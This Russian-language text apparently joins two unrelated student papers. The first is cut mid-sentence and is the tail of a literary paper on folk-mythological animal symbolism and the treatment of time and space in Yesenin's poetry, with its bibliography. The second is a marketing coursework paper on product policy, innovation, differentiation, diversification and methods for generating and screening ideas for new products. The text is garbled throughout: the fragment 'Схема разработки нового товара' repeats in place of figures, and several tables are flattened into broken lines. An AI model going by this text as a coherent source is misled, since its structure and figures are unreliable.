«тихой судьбы», символом старой патриархальной деревни («красногривый жеребенок»), «розовый конь» – символ юности.

Ворон в произведениях С. Есенина имеет то же значение, что и в народной поэзии. В стихотворении «Русь» (1914г.) он является вестником несчастья.

Многие животные, например, собака, у Есенина приобретают иное значение, чем они имеют в фольклоре. Собака в мифологии является проводником на тот свет, помощником дьявола, охраняет вход в загробный мир.
В есенинской лирике собака – «юности друг».

Поэт, рисуя животных, чаще всего обращается к принципу антропоморфизма, то есть наделяет их человеческими качествами («Корова»,
«Песнь о собаке».). Но не ограничиваясь этим, он также приводит и обратное сравнение, то есть придает человеку черты какого-либо животного. («Я был, как лошадь загнанная в мыле…»).

Тотемистические же представления не получают у него широкого развития, хотя они тоже встречаются. В частности в стихотворении «Мы теперь уходим понемногу.» (1924г.) присутствует мотив «кровного родства» с животным миром, он называет «зверье» «братьями меньшими».

Мифологическое использование анималистической лексики в оригинальных сравнениях создает своеобразие стиля поэта. Чаще всего наименования животных приводятся в сравнениях, в которых с ними сопоставляются предметы и явления, часто не связанные с ними в действительности, но объединенные по какому-либо ассоциативному признаку, служащему основой для его выделения
(«По пруду лебедем красным//Плавает тихий закат…», «Осень – рыжая кобыла – чешет гриву…»).

Рассмотрев временную характеристику модели мира в произведениях
Есенина, можно увидеть, что его лирика отражает мировосприятие, формировавшееся на основе народных мифологических представлений о мире, которые были закреплены в крестьянских земледельческих и календарных обрядах и праздниках. В результате время, отражая годовой круг, предстает как циклическое и обозначено указанием на череду праздников и на смену времен года или времени суток.

Обращаясь к пространственным характеристикам картины мира С. Есенина, можно говорить о том, что описывая пространство, автор также опирается на богатый опыт народной и классической поэзии. Пространство предстает у него в «мозаичном виде», то есть постепенно расширяется от одного стихотворения к другому и в целом создает картину авторского мировосприятия.

Проследив движение лирического героя в этом пространстве, можно сказать, что путь лирического героя Есенина по своей структуре напоминает путь героя в сюжете волшебной сказки: крестьянский сын выходит из дома в путь для того, чтобы что-то добыть или вернуть утраченное и достигает этой цели. Есенинский герой, выйдя из дружественного пространства родного дома в поисках славы поэта, наконец, достигает города, в который давно мечтал попасть. «Завоевание» города аналогично враждебному пространству в волшебных сказках. «Завоевание» этого пространства осмысливалось как утверждение себя как поэта:

Говорят я скоро стану знаменитый русский поэт.

Творческое утверждение состоялось, и как следствие возникает восприятие города как пространства, присовокупленного к своему, дружественного.

Интересно отметить, что и осмысление политических и социальных реалий совершается через систему пространственных архетипов. Так, после
Октябрьской революции в ходе гражданской войны город, который герой любил
(«Я люблю этот город вязевый…»), постепенно получает негативную характеристику. Сначала его пространство сужается до кабака («Шум и гам в этом логове жутком…»), окружение видится как «сброд», с которым герой находится в состоянии конфликта («Если раньше мне били в морду, то теперь вся в крови душа…»). Пространство города таким образом приобретает черты антидома, оно враждебно по отношению к лирическому герою, их неприятие взаимно.

В дальнейшем внимание лирического героя сосредотачивается на оппозиции «город – деревня». Пространство города осмысливается как враждебное не только герою, но и его родному «пространству», его любимому дому и краю. Город по отношению к деревне активно враждебен,в отличие от сказочного «Тридесятого царства», как насильник и разрушитель («тянет к
…равнин пятерню», «сдавили шею деревне каменные руки шоссе»).

Когда лирический герой возвращается в родной дом, то его нет, он разрушен, как и весь материальный и духовный уклад деревенской России: в пространстве избы нет икон, их «вчера выбросили сестры», зато появилась книга – «Капитал» Маркса, заменивший Библию. Разрушена даже музыкальная культура: комсомольцы поют «агитки Бедного Демьяна».

Мы видим, что в отличии от конца волшебной сказки, возвратившийся герой Есенина, не находит того дружественного пространства, которое было в начале пути. Космос не восстанавливается, и везде правит хаос.

СПИСОК ИСПОЛЬЗОВАННОЙ ЛИТЕРАТУРЫ.

1. Литературный энциклопедический словарь. / Под ред. М.В. Кожевникова и

П.А.Николаева. М.. 1987
2. Литература и искусство: Универсальная энциклопедия школьника./ Сост.

А.А.Воротников. Минск, 1995
3. Мифы народов мира. Энциклопедия в 2х т. М.,1987.
4. Руднев В.П. Словарь культуры 20 века. М., 1997.
5. Словарь литературоведческих терминов. /Под ред. Л.И.Тимофеева и

М.П.Венгрова. М., 1963
6. Советский энциклопедический словарь /Гл. ред. А.М.Прохоров. М., 1987
7. Словарь русской литературы. / Под ред. М.Г.Уртминцевой. Н. Новгород,

1997.
8. Славянская мифология. Энциклопедический словарь. М., 1995.

Курсовая работа: Схема разработки нового товара

Введение

Предпринимательская деятельность является эффективной, когда производимый фирмой товар или оказываемая ею услуга находит спрос на рынке, а удовлетворение определенных потребностей покупателей благодаря приобретению данного товара или услуги приносит прибыль.

Для того чтобы производимый товар или оказываемая услуга были всегда конкурентоспособными и имели спрос, необходимо осуществлять множество предпринимательских и, конечно, маркетинговых решений.

В маркетинговой деятельности такие решения касаются, как правило, четырех направлений: товарной политики, ценовой политики, распределительной и сбытовой политики, коммуникативной политики.

Товарная политика является ядром маркетинговых решений, вокруг которого формируются другие решения, связанные с условиями приобретения товара и методами его продвижения от производителя к конечному покупателю.

Товарная политика – это маркетинговая деятельность, связанная с планированием и осуществлением совокупности мероприятий и стратегий по формированию конкурентных преимуществ и созданию таких характеристик товара, которые делают его постоянно ценным для потребителя и тем самым удовлетворяют ту или иную его потребность, обеспечивая соответствующую прибыль фирме.

К решению задач товарной политики на любом хозяйственном уровне необходим стратегический подход. Это означает, что любое решение в указанной области должно приниматься не только с точки зрения текущих интересов, но и с учетом того, как оно «работает» на конечные цели. Такой подход требует концентрации усилий на решающих направлениях.

Стратегия – это долговременный курс товарной политики, рассчитанной на перспективу и предусматривающей решение принципиальных задач. Разработанная применительно к тому или иному периоду (3–5 лет или более) товарная стратегия в основе своей в течение данного времени остается, как правило, практически неизменной.

Товарную политику невозможно отделить от реальных условий деятельности предприятия – изготовителя, специфики его профиля. Вместе с тем, как показывает практика, находящиеся примерно в одинаково тяжелых условиях сложившейся рыночно – экономической обстановки в России промышленные предприятия по-разному решают свои товарные проблемы: одни проявляют полное неумение и беспомощность, а другие, следуя принципам и методам маркетинга, находят перспективные пути, которые рассмотрены в данной курсовой работе.

1. Стратегия и тактика проведения товарной политики

1.1 Основные направления проведения товарной стратегии фирмы

В условиях рынка предприятие самостоятельно принимает решение о выборе стратегии и тактики проведения товарной политики. Каждое предприятие может предложить рынку один товар или несколько его видов, одну или несколько товарных линий, совокупность которых представляет собой товарную номенклатуру, или товарный микс фирмы.

Товарная линия-это группа продуктов либо с тождественными принципами функционирования, либо предназначенных для одних и тех же категорий потребителей, либо поставляемых через однотипные магазины, либо продаваемых в рамках определенного диапазона цен.

Товарная линия может быть короткой или длинной. Товарная линия называется короткой, если предприятие может увеличить свою прибыль за счет расширения ассортимента продукции, которая входит в товарную линию. Товарная линия называется длинной, если увеличение прибыли возможно за счет сужения ассортимента.

Увеличение товарной линии осуществляют путем удлинения или наполнения товарной линии.

Удлинение товарной линии, как правило, применяется, когда предприятие ищет новые сегменты рынка и / или пытается изменить ситуацию в конкурентной борьбе в свою пользу. Это достигается благодаря освоению выпуска продукции, не производимой предприятием в настоящее время. Удлинение товарной линии может осуществляться «’вниз’’ (выпуск более простого и дешевого товара), или «’вверх’’ (выпуск сложного и дорогого товара), или одновременно в обоих направлениях.

Наполнение товарной линии осуществляется для более полного использования производственных мощностей и поставок на рынок товаров широкой номенклатуры. Такое увеличение длины товарной линии производится благодаря расширению ассортимента товаров данной линии.

Товарная номенклатура, или товарный микс, как совокупность всех товаров фирмы характеризуется широтой, длиной, глубиной и согласованностью. Широта товарной номенклатуры определяется числом товарных линий предприятия, длина – общим числом конкретных товаров фирмы, глубина – числом вариантов каждого товара определенной товарной линии, согласованность – степенью близости различных линий с точки зрения конечного использования товаров.

Товарная номенклатура должна постоянно находиться под контролем, который необходимо осуществлять на каждой стадии жизненного цикла товара, с тем чтобы включать в нее продукты, находящиеся на разных стадиях жизненного цикла. Такая

балансировка товарной номенклатуры позволяет обеспечивать стабильный объем сбыта и постоянство в получении прибыли.

При разработке товарной номенклатуры могут потребоваться решения, связанные с установлением количества предлагаемых товаров, товарных линий, их ширины и глубины, с сохранением или расширением существующей структуры товарного предложения. Соответственно потребуется решить, какую структуру товарного микса следует принять в зависимости от числа товарных линий, отдельных товаров, а также от ширины и глубины товарной номенклатуры. Так, для товарного микса, в котором число товарных линий равно 3, а общее число товаров – 12, глубина товарной линии А равна 4, товарной линии Б – 2, товарной линии В – 6, средняя глубина товарной номенклатуры составит 4 товара фирмы (рис. 1)

Проведение эффективной товарной политики фирмы связано с двумя крупными проблемами. Во-первых, фирма должна рационально организовать работу в рамках имеющейся номенклатуры товаров с учетом стадий жизненного цикла; во-вторых, – заблаговременно осуществлять разработку новых товаров для замены товаров, подлежащих снятию с производства и выводу с рынка.

Товарная линия А

Товарная линия Б

Товарная линия В
Товар А1

Товар Б1

Товар В1
Глубина

Товар А2

Товар Б2

Товар В2
Товар А3

Товар В3
Товар А4

Товар В4
Товар В5
Товар В6

Рис. 1. Структура товарного микса

Таким образом, фирме необходимо иметь и постоянно совершенствовать товарную стратегию, что позволит ей обеспечить устойчивую структуру ассортимента, постоянный сбыт и стабильную прибыль.

Схема разработки нового товараТоварная стратегия разрабатывается на перспективу и может включать три стратегических направления по улучшению привлекательности имеющегося на фирме товарного микса: инновация товара; вариация товара; элиминация товара.

1.2 Стратегия инновации товара

Стратегия инновации товара определяет программу разработки и внедрения новых товаров. Однако выражение «’новый товар’’ имеет самое различное толкование и используется как для обозначения усовершенствования, обновления существующих товаров, так и для характеристики абсолютно новых потребительских благ, которые впервые предоставляются потребителям. Необходимо правильно оценить значимость и назначение инновации, так как от этого зависит качество оценки риска, связанного с ее внедрением.

Инновация в существующих теории и практике является синонимом понятий «’нововведение’’ и «’новшество’’. Она может быть представлена новыми продуктом или услугой, способом их производства и сбыта, новшеством в организационной, финансовой, научно-исследовательской, маркетинговой и других сферах деятельности. Инновации классифицируют по степени их новизны для фирмы; по степени новизны для рынка и потребителя (интенсивность инноваций); по характеру идеи, с которой связано появлении инновации (технологическая или маркетинговая). Так, по степени новизны для фирмы различают товары мировой новизны и новые для фирмы. Установлено, что мировой новизной обладает малая часть нововведений (10%), а большинство инноваций (70%) связано с обновлением, расширением, модификацией имеющейся гаммы товаров:

Товары мировой новизны………………………………………….…10

Товары, новые для фирмы………………………………………….…20

Расширение имеющейся гаммы товаров…………………………….26

Обновленные товары……………………………………………….…26

Изменение позиционирования товара…………………………………7

Сокращение издержек (производственная инновация)…………….….11

Итого……………………………………………………………….….100

Инновация товара понимается как процесс получения новых идей по поводу имеющегося продукта, а также разработки и вывода на рынок новых продуктов.

Инновация товара является основой устойчивости и стабильной деятельности предприятия. Потребность непрерывного обновления товарного ассортимента обусловлена следующими внешними и внутренними факторами окружающей среды:

внутренние факторы – необходимость надежного функционирования, снижение затрат, распределение риска, загрузки производственных мощностей, обеспечения персонала работой;

внешние факторы – развитие техники и технологий, развитие рынка производительных сил и рынка сбыта, изменение отношения потребителей к товару, постоянные изменения конкуренции и конкурентных отношений.

Инновация товара предполагает разработку и внедрение новых товаров и по форме осуществления подразделяется на дифференциацию и диверсификацию товара.

1.2.1 Дифференциация товара

Дифференциация товара представляет собой процесс разработки ряда существенных модификаций товара, которые делают его отличным от товаров – конкурентов.

В отечественной и переводной зарубежной литературе для выражения этого понятия применяются два термина: «дифференциация» и «дифференцирование». По своему содержанию они могут рассматриваться как синонимы, так как в переводе с английского языка «differentiation» означает: 1) дифференциация; 2) дифференцирование, различие. С нашей точки зрения, при характеристике явлений и процессов по их функциональному, качественному различиям (что относится и к продукции) более правильно применять термин «дифференциация», а при рассмотрении явлений и процессов во времени и пространстве – термин «дифференцирование» (например, дифференцирование времени работы и т.п.).

Дифференциация основана на улучшении привлекательности товара за счет его разнообразия. Концептуально дифференциация – это разработка различных вариантов товарного предложения на двух уровнях: между конкурентами по однотипным товарам и между товарами одного изготовителя, ориентированными на разные сегменты рынка.

Целью дифференциации товара является увеличение его конкурентоспособности, повышение привлекательности товара за счет учета особенностей отдельных рынков или сегментов рынка, предпочтений потребителей.

В маркетинге под дифференциацией товара понимают разработку и подготовку к продаже, выводу на рынок вариантов товара, дополнительных к уже имеющимся на рынке. Дифференциация может осуществляться по двум направлениям: сосредоточение на возможностях своего товара (изменение упаковки, цены, вывод на вторичный рынок) и учет характера товарного предложения конкурентов (цена, каналы сбыта, имидж и т.д.).

Ф. Котлер наряду с дифференциацией товара выделяет также дифференциацию услуг, персонала, каналов распределения и имиджа.

Дифференциация товара осуществляется по следующим факторам: дополнительные возможности товара; эффективность использования товара; комфортность; надежность; стиль и дизайн товара.

Дополнительные возможности могут предоставляться предприятием с ориентацией на предложения и потребности потребителей товара или выноситься на рынок как самостоятельно стандартизированный комплекс нововведений в виде дополнительных характеристик и усовершенствований, которые расширяют основную функцию товара. Одним из основных способов изучения дополнительных возможностей является спрос покупателей.

Эффективность использования товара основывается на принципе непрерывного исследования и оценки характеристик предлагаемого товара с учетом потребностей целевого рынка и в сравнении с товарами фирм – конкурентов. Критерием оценки эффективности использования товара является качество его функционирования, т.е. качество выполнения товаром основной функции в процессе его потребления. Для перспективной оценки эффективности использования товара уровень качества проверяется на длительном отрезке времени. Такое прогнозирование качества исполнения основной функции товара может быть ориентировано на увеличение прибыли и расширение доли рынка за счет постоянного улучшения качества, или за счет поддержания качества на заданном уровне, или за счет понижения с течением времени качества товара. Выбор того или иного варианта поддержания эффективности использования товара зависит от внутренних и внешних условий окружающей среды. Однако в любом варианте в первую очередь должны учитываться не столько цели производителя товара, сколько потребности покупателей.

Уровень комфортности – относительная характеристика товара, которая формируется при создании и производстве товара, а оценивается в потреблении. Оценка комфортности связана с субъективным восприятием потребителем степени соответствия товара его заявленным характеристикам. Чем выше оценка уровня комфортности, тем выше репутация фирмы – производителя товара у покупателя, тем больший круг реальных и потенциальных клиентов может иметь фирма.

Надежность товара характеризуется его свойством выполнять заданные функции в заданном объеме при определенных условиях функционирования. Надежность товара – это комплексный показатель функционирования продукта. Она определяется такими показателями, как долговечность, ремонтопригодность, безопасность товара и т.д.

Долговечность товара – это свойство товара сохранять работоспособность до наступления предельного состояния при установленной системе эксплуатационного обслуживания и ремонтов. Долговечность определяет для покупателя предполагаемую продолжительность нормальной эксплуатации, использование товара. При оценке долговечности товара следует учитывать его назначение и обращать внимание на сроки его физического и морального износа.

Ремонтопригодность товара – важнейшая характеристика товара, связанная с возможностью предупреждения и обнаружения причин возникновения его отказов, повреждений и устранения их последствий путем проведения технического обслуживания и ремонтов. Ремонтопригодность товара отражает уровень будущих (после приобретения) в период его эксплуатации затрат потребителя на восстановление работоспособности вышедшего из строя продукта. Чем меньше забот и затрат потребитель будет иметь при использовании товара, чем выше уровень до- и послепродажного обслуживания, тем выше для потребителя уровень ремонтопригодности товара.

Существенным свойством товара, которое также может определять его дополнительные возможности, является безопасность товара. Это свойство товара отражает недопустимость ситуаций, опасных для людей и окружающей среды. Например, защита от поражения электрическим током при использовании электроприборов или утилизация отходов, имеющих место при использовании продуктов питания и промышленных товаров.

Таким образом, цена надежности как комплексной характеристики товара в процессе его использования выступает важным фактором дополнительных возможностей товара. С одной стороны, она отражает уровень вероятности нормального функционирования товара, а с другой, – уровень затрат потребителя не только при приобретении товара, но и, что, как правило, важнее, при использовании товара в течении определенного периода времени.

Дизайн товара является перспективным способом дифференциации товара и услуг предприятия или организации. Он характеризует внешний вид и функции товара, которые предназначены для удовлетворения конкретной потребности покупателя. Следует иметь в виду, что дизайн создается не на стадии подготовки товара к продаже. Он формируется на всех стадиях жизненного цикла изделия и товара. Уже на стадии разработки товара, при осуществлении маркетинговых исследований, определении назначения товара определяются внешний вид товара, характеристики его функциональности, экологичности и эстетичности. Также на стадии разработки товара учитываются требования покупателя к виду и функциям товара. Хороший дизайн обеспечивает привлекательность товара для потребителя, способствует росту объема продаж и имиджу фирмы, а также снижению затрат при производстве и распределении товара. Например, компания Broun считает, что хороший дизайн является инновационным, увеличивает полезность продукта, повышает его эстетику, отражает логическую структуру продукта (его форма соответствует назначению), ненавязчив, честен, не боится испытания временем, последователен в деталях, экологичен, минимизирован. При разработке дизайна каждая фирма должна ориентироваться не только на основные принципы формирования дизайна, но и на возможности фирмы и иерархию потребителей, которым предлагается или будет предлагаться конкретный товар.

На практике нередки случаи, когда дифференцирование товара за счет расширения диапазона его физических свойств и качеств затруднено. В таких ситуациях используют дифференциацию услуг, т.е. увеличивают количество и улучшают качество сопровождающих товар услуг. Основными показателями, которые могут определять уровень дифференцирования услуг, могут быть простота оформления заказа, доставки, установки товара, обучение и консультирование покупателей и потребителей, обслуживание и ремонт.

Кроме рассмотренных способов создания фирмой конкурентных преимуществ и формирования привлекательности товара на рынке могут быть и такие, как дифференцирование персонала, дифференцирование каналов распределения, дифференцирование имиджа.

1.2.2 Диверсификация товара

Диверсификация товара занимает особое место в товарной политике фирмы. Эта стратегия применяется, когда фирма начинает производить дополнительные товары, которые планируется предложить на новые рынки сбыта. Диверсификация выступает как эффективное средство для обеспечения роста устойчивости деятельности фирмы. С помощью диверсификации фирма может получить хорошие результаты по возрождению оборота и прибыли благодаря новым товарным предложениям для новых рынков, что в конечном счете способствует, кроме всего прочего, эффективной политике по снижению предпринимательского риска.

При проведении диверсификации возможно изменение как товара, так и рынков или их комбинации. Для определения стратегических альтернатив при поиске способов освоения целевых рынков используется матрица «товар – рынок», предложенная И. Ансоффом в 1966 г. (табл. 1). Как видно, возможны четыре базовые стратегии освоения источников роста преимуществ фирмы: проникновение на рынок; развитие товара; развитие рынка и диверсификация. Таблица 1

Альтернативные стратегии освоения источников роста преимуществ фирмы

Товары

Рынки
Существующие

Новые

Существующие

Проникновение на рынок:

Интенсификация сбыта

поиск новых покупателей

вытеснение конкурентов

развитие (расширение) сферы потребления товара

Развитие рынка:

новые рынки

новые регионы сбыта

международные рынки

создание новых областей использования товара

Новые

Развитие товара:

разработка новых товаров собственными силами

развитие контрактов

лицензии обмен продуктами

Диверсификация:

Горизонтальная

Вертикальная

Концентрическая

Схема разработки нового товараСхема разработки нового товараСхема разработки нового товараДиверсификация позволяет устранять отклонения между текущими и стратегическими показателями объема продаж и дохода. Устранение достигается введением нового товара на существующие рынки, что обеспечивает закрытие одного из видов стратегического «люка» и устойчивое положение предприятия в конкурентной среде.

Диверсификация товара осуществляется компаниями, которые располагают достаточно развитой сетью бизнес – коммуникаций и обладают необходимыми потенциалом и деловыми способностями по освоению новых производств и новых товаров.

Различают три типа диверсификации: горизонтальная, вертикальная и концентрическая.

Горизонтальная диверсификация означает производство таких новых товаров, которые настолько близки по производственно – техническим, снабженческим и сбытовым условиям производства существующих товаров, что возможно использование существующих сырья и материала, персонала, каналов и связей на рынке. Например, Сбербанк России расширяет ассортимент своих услуг путем введения услуги по страхованию; ОАО «Комбинат им. Степана Разина» предлагает производство воды, лимонада и других прохладительных напитков.

Вертикальная диверсификация означает увеличение глубины товарной программы как в направлении сбыта товаров существующего производства, так и в направлении сбыта сырья и средств производства, являющихся составной частью товаров, которые фирма производит в настоящее время. Например, магазин, специализирующийся на продаже мясных продуктов, поддерживает производство по селекции и выращиванию скота; фирма по производству компьютеров открывает производство по изготовлению спутниковых антенн для телевизионных приемников.

Концентрическая диверсификация предполагает производство новых товаров, которые для предприятия являются совершенно новыми и не имеют технического и коммерческого отношения к продукции, которую производит фирма в настоящее время. Например, автомобильное предприятие покупает предприниматель крупного завода по изготовлению электрических приборов для домашнего хозяйства; крупное сталеплавильное предприятие покупает завод, который изготавливает изделия компьютерной техники.

На практике диверсификация реализуется с помощью не только развития продукта, но и приобретения лицензий, покупки предприятий, кооперации (например, создание совместных предприятий) (рис. 4).

Каждый из способов диверсификации имеет свои достоинства и недостатки (табл. 2). Выбор конкретного способа диверсификации зависит от различных факторов, среди которых наиболее существенными являются наличие финансовых средств и определенного имиджа предприятия среди рыночных субъектов, бизнес – партнеров, а также срок, за который фирма желает осуществить диверсификацию. Если предприятие не имеет возможности ждать, то при наличии достаточных финансовых средств оно может приобрести функционирующую фирму. Если установлено, что усиление позиций на рынке возможно только благодаря кооперированию, то вполне реально создание совместного предприятия. Следует иметь в виду, что развитие товара, как правило, связано с риском и длится более продолжительное время.

Таблица 2. Достоинства и недостатки различных способов диверсификации

Факторы

Способы диверсификации
Развитие товара

Покупка лицензий

Покупка предприятий

Кооперация
Объем необходимых инвестиций

Высокий

Отсутствует

Высокий

Высокий, зависит от мощности предприятия
Скорость реализации

Малая

Большая

Большая

Различная
Риск

Большой

Незначительный

Различный

Различный

Зависимость от бизнес – партнера

Отсутствует

Большая

Отсутствует

Большая

Возможность получения прибыли

Большая

Незначительная

Большая

Средняя
Затраты

Высокие

Небольшие

Различные

Небольшие

Однако часто такой способ диверсификации, как разработка, развитие товара, является единственно возможным, особенно когда разрабатывается абсолютно новый товар. Это целесообразно, когда ставится цель достижения преимуществ перед имеющимися конкурентами или их опережения.

Схема разработки нового товара

2. Разработка и внедрение нового товара на рынок

Как отмечалось выше, только 10% всех новых товаров являются действительно новыми, оригинальными и называются товарами мировой новизны. Разработка таких товаров, организация их производства и вывод на рынок требуют больших затрат и сопряжены с повышенным риском. Это является одной из причин того, почему компании разработку новых товаров связывают чаще всего с усовершенствованием и модификацией существующих товаров.

Разработка и внедрение на рынок новых товаров осуществляются в соответствии с принципами и методами инновационной политики, в частности процесса инновации товара.

Процесс инновации товара включает шесть этапов: 1) поиск идей о новых товарах; 2) отбор идей; 3) экономический анализ коммерциализации идеи нового товара; 4) разработка товара; 5) испытания товара в условиях рынка, тестирование; 6) вывод, внедрение товара на рынок (рис. 5).

Схема разработки нового товара

Схема разработки нового товараСхема разработки нового товараСхема разработки нового товара

отрицательный положительный

Схема разработки нового товара

Схема разработки нового товара

Схема разработки нового товараСхема разработки нового товара

Схема разработки нового товара

Схема разработки нового товара

Схема разработки нового товара

Схема разработки нового товара

Схема разработки нового товараРис. 5. Этапы процесса инновации товара

Поиск идей о новых товарах

Процесс инновации товара начинается с поиска идей о новых товарах. Базой для поиска идей о товарах являются внутренние и внешние по отношению к предприятию источники идей.

К внешним источникам идей о товаре относятся: торговые предприятия; покупатели и потребители; конкуренты; ярмарки и выставки; различные публикации; исследовательские институты; поставщики; товары других отраслей производства; рекламные агентства; хозяйственные объединения, министерства и другие государственные институты.

К внутренним источникам идей о товаре относятся: отделы маркетинговых исследований; отделы технического и перспективного развития; патентные отделы; производственный отдел; все подразделения отдела маркетинга; отдел международного экономического сотрудничества; отдел подготовки товара; постоянные или временные группы сотрудников для поиска и генерирования идей.

Представленная на рис. 5 схема этапов процесса инновации товара по своему содержанию представляет процесс планирования нового товара.

Задача планирования нового товара состоит в поиске и разработке альтернативных вариантов товарной политики, обоснования их возможных шансов и рисков. В целях повышения результативности планируемых мероприятий необходимо уделять внимание базовым проблемам инновации товара, к которым относят следующие: этап получения или поиска идей; этап оценки идей и этап реализации идей.

Для планирования нового товара применяются различные методы (табл. 3). Для поиска и генерации идей о новом товаре используются методы исследования рынка и техника творческого поиска, которая базируется на использовании творческого потенциала, интеллекта группы людей и известных специалистов. При этом различают логико-систематические методы и интуитивно-творческие методы. Наиболее известными логико-систематическими методами считают следующие: техника анкеты свойств и характеристик товара; метод вынужденных отношений; морфологический метод.

Таблица 3. Методы планирования нового товара

Этап планирования

Методы планирования
Поиск идей

Исследование рынка

Творческие методы

Отбор идей

Методы оценки

Чек-лист

Экономический анализ

Сравнение прибыли

Метод оценки безубыточности

Анализ риска

Разработка товара

Методы разработки товара

Разработка прототипов

Техника разработки марки товара

Испытания товара в условиях рынка

Методы тестирования товара

Методы тестирования рынка

Внедрение на рынок

Техника сетевого планирования

Маркетинговый инструментарий

Контроль за внедрением на рынок

Метод расчета издержек

Исследование рынка

Техника анкеты свойств и характеристик товара используется для поиска творческих идей по улучшению товара. Все свойства, характеристики и признаки объекта (к которому может относится товар) обобщаются и излагаются в письменном виде. Создание новой идеи осуществляется путем изменения или замены одного или нескольких признаков объекта и их последующего объединения в виде новой комбинации свойств.

Метод вынужденных отношений (сочетаний) несколько схож с техникой анкеты свойств. Идея рождается как результат обдуманного обобщения знания о предметах, которые первоначально не входили в одну группу. Например, из анализа свойств таких отдельных товаров, как письменный стол, пишущая машинка и настольная лампа, с помощью метода вынужденных отношений (сочетаний) могут быть найдены следующие идеи: в столешницу письменного стола встроить пишущую машинку; преобразовать поверхность стола для установки картотеки; настольную лампу заменить лампой на подвижных шарнирах и т.д.

Техника анкеты свойств и метод вынужденных сочетаний базируется на комбинации свойств имеющихся товаров, что ограничивает их использование. Тем более что возможна зависимость качества новой идеи от качества ранее использованных идей.

Морфологический метод базируется на принципах структурного анализа. В соответствии с этим методом все важнейшие параметры товара исследуются по отдельности и в комбинации их возможных сочетаний. Он построен на полной и строгой классификации объектов, явлений, их свойств и параметров, позволяющей оценить возможные сценарии развития идеи и путем сопоставления этих сценариев получить комплексное представление идеи будущего развития товара.

Процесс морфологического анализа включает пять основных этапов.

Описание проблемы, без продолжения каких-либо решений.

2. Разложение проблемы на отдельные компоненты, которые могут влиять на решение.

3. Альтернативные решения для каждого компонента. Компоненты проблемы и альтернативные решения сводятся в матрицу, которая называется морфологическим ящиком (табл. 4).

4. Комбинация альтернативных решений по отдельным компонентам проблемы. Различные комбинации дают альтернативные общие решения.

5. Выбор и реализация альтернативы, оптимальной с точки зрения выгоды предприятия.

Таблица 4. Морфологический ящик для конструкции кофеварки

Функция

Возможные решения
1

2

3
Кипячение воды

Нагревательная пластина (внешняя)

Нагревательная спираль (внутренняя)

Индукционный нагрев
Фильтрация кофе

Бумажный фильтр

Пористый материал

Центрифуга
Сохранение температуры кофе

Подогрев

Изоляция

Термос
Разлив кофе

Контейнер

Для разлива

Насос для подачи кофе

Кран для разлива

В отличие от логико-систематических методов, в основе которых лежат принцип разложения системы на части и принцип комбинации отдельных решений, интуитивно – творческие методы базируются на принципе целостного рассмотрения проблемы.

Наиболее известными методами этого вида получения идей являются мозговая атака и синектика.

Метод мозговой атаки был предложен американским специалистом в области рекламы Алексом Осборном в 1953 г. Он базируется на принципах свободной ассоциации мышления творческих рассуждениях участников группового обсуждения о той или иной идее и способах воплощения ее в жизнь. Способами проведения этого метода являются интенсивная дискуссия всех участников и положительный обмен ассоциациями и мнениями с последующей оценкой результатов дискуссии. Для успешного применения этого метода необходимо соблюдать ряд условий:

в обсуждении должно участвовать от 5 до 15 человек;

продолжительность заседания от 15 до 30 мин.

равноправность всех участников заседания;

критика в любом виде запрещается;

количество важнее, чем качество;

тематика проблемы сообщается участникам заседания непосредственно перед его открытием;

оценка идей осуществляется в период от трех до пяти дней после заседания.

Синектика является достаточно результативным методом поиска идей. Он был предложен В. Гордоном и основан на принципе систематического отчуждения от исходной проблемы. Отчуждение достигается путем использования аналогий из других областей жизни. Процесс синектического поиска идей включает следующие этапы:

1) изучение проблемы;

2) анализ проблемы и разъяснение ее экспертам;

3) тестирование понимания проблемы;

4) формулирование спонтанных решений;

оценка руководителя понимания проблемы;

образование аналогии;

7) создание связей между аналогией и проблемой;

8) переход к проблеме;

9) разработка решения.

Метод синектики может проводится при соблюдении следующих условий:

в обсуждении должно участвовать 5–7 человек;

проведение предварительного обучения участников этому методу;

продолжительность заседания от 90 до 120 мин;

обеспечение наглядности путем фиксирования отдельных шагов на большой доске.

К интуитивно – творческим методам относится и известный метод Дельфи.

2.2 Отбор идей о новом товаре

Следующим этапом является отбор, селекция идей о товаре. Если поиск и формирование банка идей направлены на увеличение их объема, то цель отбора идей заключается в том, чтобы выявить и отсеять непригодные решения. При этом устанавливается соответствие идеи целям фирмы, возможности реализации идеи имеющимся на предприятии ресурсам.

Установлено, что число идей, принятых и доведенных до реального товара, уменьшается во времени, а затраты на их поиск и отбор растут.

Процесс отбора идей включает две стадии:

1) проверка соответствия принципам, требованиям фирмы;

2) проверка шанса идеи в рыночных условиях.

Для проведения тестирования идей могут применяться следующие критерии: вид и величина объема и потенциала рынка; ситуация с конкуренцией; реализуемость идеи при исследовании и разработке; реализуемость идеи в сфере производства, ее финансовое и маркетинговое сопровождение.

В качестве основных методов оценки на этой стадии инновационного процесса применяются чек – листы и оценочные шкалы. Чек – листы позволяют установить, в каком объеме возможный товар потребуется или он не потребуется вообще. Ответы на вопросы чек – листа даются обоснованно, если нужно, то приводятся соответствующие исследования. В табл. 5 приведена структура чек – листа для оценки фактора риска в инновационном процессе товара. Чек – лист показывает, какие виды рисков могут иметь место в рамках инновационного процесса товара. Использование чек – листа помогает заранее установить возможности предотвращения возможных рисков.

Метод оценочной шкалы позволяет осуществить оценку идеи путем взвешивания важности ее основных факторов. В качестве весов важности используется шкала: 0,+1,+2 и –1, – 2. Этот метод позволяет провести оценку в табличной форме или в виде графического изображения. Недостатком метода является невозможность использования численной оценки весомости каждого фактора (табл. 6).

Метод оценочной шкалы позволяет оценить, насколько анализируемые факторы способствуют воплощению данной идеи в товар, который будет представлять интерес для покупателей. Каждый фактор получает ряд оценок, каждая из которых показывает, насколько идея соответствует необходимым требованиям. По каждому фактору определяется сумма баллов, на основе которой делают оценку идеи по отдельному фактору или совокупности рассмотренных факторов. Тем самым метод оценочной шкалы позволяет с определенной вероятностью осуществлять численную оценку идеи нового товара.

Таблица 6. Метод оценочной шкалы

Факторы оценки

Оценочная шкала (-2 -1 0 +1 +2)

1. Факторы в области разработки товара:

опыт разработки родственных товаров

вклад в разработку других идей

превосходство над конкурентами

защита от имитации

2. Факторы в области снабжения будущего производст ва:

известность новых рынков производительных сил

использование существующих связей с поставщиками

число конкурентоспособных поставщиков

возможности поставщиков в кризисных условиях

стабильность цен на рынках производительных сил

3. Факторы в области производства товара:

возможность привлечения существующей рабочей силы

вероятность воздействия технологии производства товара на окружающую среду (шум, пыль, влажность и т.д.)

опасность несчастных случаев

трудности преобразования существующей технологии

возможность приспособления существующих установок к обработке продукта

резервные возможности установок

